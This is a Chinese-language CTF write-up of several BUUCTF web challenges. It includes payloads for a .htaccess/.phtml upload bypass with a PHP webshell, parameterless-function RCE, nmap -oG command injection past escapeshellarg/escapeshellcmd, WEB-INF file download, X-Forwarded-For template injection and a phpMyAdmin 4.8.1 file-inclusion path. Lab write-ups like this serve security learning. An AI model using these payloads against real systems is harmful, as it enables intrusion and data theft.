BUUCTF(2)

[GXYCTF2019]BabyUpload 1 htaccess+phtml

上传.htaccess文件内容为SetHandler application/x-httpd-php并修改Content-Type:image/jpeg
BUUCTF(2)_第1张图片

尝试上传php一句话木马
BUUCTF(2)_第2张图片
利用.phtml文件绕过,对应的一句话木马,但是这里后缀名也不能有ph,所以上传图片上去
在这里插入图片描述利用蚁剑连接或者直接命令执行

[GXYCTF2019]禁止套娃 1 无字符RCE

打开题目就一句flag在哪,直接劝退。。。。发现是git泄漏,想用Githack扒一下源码

GitHack.py 7c893848-5591-44ea-9378-2fa8f86acf2c.node4.buuoj.cn/.git/

BUUCTF(2)_第3张图片
扒了个寂寞,想手动去/.git/index下载源码又不知道下载了个什么奇怪的东西(艹,我也太垃圾了)


include "flag.php";
echo "flag在哪里呢?
"
; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>

三个绕过,第一个过滤掉协议,第二个(?R)引用当前表达式,后面加了?递归调用。只能通过无参数的函数,第三个就是一些函数。主要就是通过无参数函数来进行命令执行。

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

首先输出当前目录的文件

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
这里已经发现了flag.php,那接下来如何取值呢

  1. 取反后依次取值

取反:array_reverse()
取下一个值:next()

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

2.反转加随机数组
反转:array_flip()
随机数组:array_rand()

?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

[BUUCTF 2018]Online Tool 1 nmap+escapeshellarg/cmd



if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

首先是一个nmap的小知识点

namp <?php phpinfo(); ?> -oG 1.php
可以写入一个文件
nmap <?php phpinfo();> -oG 1.php\’
会写成1.php‘ 而不是 1.php

其次这里要搞清楚 escapeshellarg();escapeshellcmd();两个函数(直接截seebug里的解释)

BUUCTF(2)_第4张图片
直接给出payload

?host='  -oG 1.php '

这里前面加的’单引号是为了将shell命令分割出来然后执行,如果不加就会被当作参数,后面的’单引号是为了闭合一个函数的’单引号,否则命令会被遗弃

BUUCTF(2)_第5张图片
可以用蚁剑连也可以直接到页面进行命令执行,下面是正确传上去的样子

BUUCTF(2)_第6张图片
最后在根目录下找到flag
BUUCTF(2)_第7张图片

[RoarCTF 2019]Easy Java 1

打开是一个登录框
BUUCTF(2)_第8张图片

点击help后进入
在这里插入图片描述

平常都是php的网站,哪见过java的,就算有文件任意读取也找不到地方。找到一个框架和一些目录的介绍

BUUCTF(2)_第9张图片

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties:数据库配置文件

help页面抓包改为POST方式查看web.xml页面

POST /Download?filename=WEB-INF/web.xml 

BUUCTF(2)_第10张图片

在对应classes目录中查看flag

POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

BUUCTF(2)_第11张图片

总体思路就是通过重要信息文件找到flag的地址,然后直接访问就能拿到,这里再一个标签的知识点

<servlet-class>  这个就是指向我们要注册的servlet 的类地址, 要带包路径

<servlet-mapping>  是用来配置我们注册的组件的访问路径,里面包括两个节点
一个是   <servlet-name>  这个要与前面写的servlet那么一致
另一个是  <url-pattern>  配置这个组件的访问路径
<servlet-name> 这个是我们要注册servlet的名字,一般跟Servlet类名有关
举个例子
<servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.breeze.servlet.LoginServlet</servlet-class>
  </servlet>

参考文章

[BJDCTF2020]The mystery of ip1

BUUCTF(2)_第12张图片

burp抓包添加X-Forwarded-For头赋值为127.0.0.1,发现IP更改
BUUCTF(2)_第13张图片
尝试模板注入

BUUCTF(2)_第14张图片

直接cat flag*,虽然是假flag但是找到了源码。

BUUCTF(2)_第15张图片
直接在根目录下cat flag拿到flag

BUUCTF(2)_第16张图片
这里能发现CLIENT-IP与X-Forwarded-For都可以控制输入

[GWCTF 2019]我有一个数据库 1

进入环境试了一下robots.txt,发现phpinfo.php。尝试了一下phpmyadmin,发现确实存在这个页面。其实这里考察的是phpmyadmin4.8.1后台任意文件包含漏洞

phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

你可能感兴趣的:(CTF,BUUCTF)